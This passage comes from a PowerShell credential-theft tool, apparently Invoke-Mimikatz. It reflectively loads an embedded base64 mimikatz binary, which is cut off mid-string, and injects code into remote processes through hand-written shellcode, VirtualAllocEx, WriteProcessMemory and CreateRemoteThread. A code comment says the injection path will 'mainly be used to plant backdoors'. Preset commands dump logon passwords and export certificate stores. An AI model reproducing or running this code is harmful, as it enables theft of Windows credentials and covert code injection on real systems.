}
else
{
Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
}
#Update the memory protection flags for all the memory just allocated
if ($RemoteLoading -eq $false)
{
if ($NXCompatible -eq $true)
{
Write-Verbose "Update memory protection flags"
Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
}
else
{
Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
}
}
else
{
Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
}
#If remote loading, copy the DLL in to remote process memory
if ($RemoteLoading -eq $true)
{
[UInt32]$NumBytesWritten = 0
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw "Unable to write shellcode to remote process memory."
}
}
#Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
if ($PEInfo.FileType -ieq "DLL")
{
if ($RemoteLoading -eq $false)
{
Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
$DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
}
else
{
$DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
if ($PEInfo.PE64Bit -eq $true)
{
#Shellcode: CallDllMain.asm
$CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
#Shellcode: CallDllMain.asm
$CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
}
$SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
}
elseif ($PEInfo.FileType -ieq "EXE")
{
#Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
[IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
[System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
$OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
#If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
# This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
[IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in."
$Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
while($true)
{
[Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
if ($ThreadDone -eq 1)
{
Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
Write-Verbose "EXE thread has completed."
break
}
else
{
Start-Sleep -Seconds 1
}
}
}
return @($PEInfo.PEHandle, $EffectivePEHandle)
}
Function Invoke-MemoryFreeLibrary
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$PEHandle
)
#Get Win32 constants and functions
$Win32Constants = Get-Win32Constants
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
#Call FreeLibrary for all the imports of the DLL
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
{
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
#If the structure is null, it signals that this is the end of the array
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
Write-Verbose "Done unloading the libraries needed by the PE"
break
}
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
$ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
if ($ImportDllHandle -eq $null)
{
Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
}
$Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
if ($Success -eq $false)
{
Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
}
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}
#Call DllMain with process detach
Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
$DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
}
}
Function Main
{
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$Win32Constants = Get-Win32Constants
$RemoteProcHandle = [IntPtr]::Zero
#If a remote process to inject in to is specified, get a handle to it
if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
{
Throw "Can't supply a ProcId and ProcName, choose one or the other"
}
elseif ($ProcName -ne $null -and $ProcName -ne "")
{
$Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
if ($Processes.Count -eq 0)
{
Throw "Can't find process $ProcName"
}
elseif ($Processes.Count -gt 1)
{
$ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
Write-Output $ProcInfo
Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
}
else
{
$ProcId = $Processes[0].ID
}
}
#Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
#If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
# {
# Write-Verbose "Getting SeDebugPrivilege"
# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
# }
if (($ProcId -ne $null) -and ($ProcId -ne 0))
{
$RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
Throw "Couldn't obtain the handle for process ID: $ProcId"
}
Write-Verbose "Got the handle for the remote process to inject in to"
}
#Load the PE reflectively
Write-Verbose "Calling Invoke-MemoryLoadLibrary"
#Determine whether or not to use 32bit or 64bit bytes
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8)
{
[Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64)
}
else
{
[Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
}
$PEBytes[0] = 0
$PEBytes[1] = 0
$PEHandle = [IntPtr]::Zero
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs
}
else
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle
}
if ($PELoadedInfo -eq [IntPtr]::Zero)
{
Throw "Unable to load PE, handle returned is NULL"
}
$PEHandle = $PELoadedInfo[0]
$RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
#Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
{
#########################################
### YOUR CODE GOES HERE
#########################################
Write-Verbose "Calling function with WString return type"
[IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "powershell_reflective_mimikatz"
if ($WStringFuncAddr -eq [IntPtr]::Zero)
{
Throw "Couldn't find function address."
}
$WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr])
$WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
$WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs)
[IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput)
if ($OutputPtr -eq [IntPtr]::Zero)
{
Throw "Unable to get output, Output Ptr is NULL"
}
else
{
$Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
Write-Output $Output
$Win32Functions.LocalFree.Invoke($OutputPtr);
}
#########################################
### END OF YOUR CODE
#########################################
}
#For remote DLL injection, call a void function which takes no parameters
elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
{
$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
{
Throw "VoidFunc couldn't be found in the DLL"
}
$VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
#Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
}
#Don't free a library if it is injected in a remote process
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
Invoke-MemoryFreeLibrary -PEHandle $PEHandle
}
else
{
#Just delete the memory allocated in PowerShell to build the PE before injecting to remote process
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
}
}
Write-Verbose "Done!"
}
Main
}
#Main function to either run the script locally or remotely
Function Main
{
if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
{
$DebugPreference = "Continue"
}
Write-Verbose "PowerShell ProcessID: $PID"
if ($PsCmdlet.ParameterSetName -ieq "DumpCreds")
{
$ExeArgs = "sekurlsa::logonpasswords exit"
}
elseif ($PsCmdlet.ParameterSetName -ieq "DumpCerts")
{
$ExeArgs = "crypto::cng crypto::capi `"crypto::certificates /export`" `"crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`" exit"
}
else
{
$ExeArgs = $Command
}
[System.IO.Directory]::SetCurrentDirectory($pwd)
$PEBytes64 = "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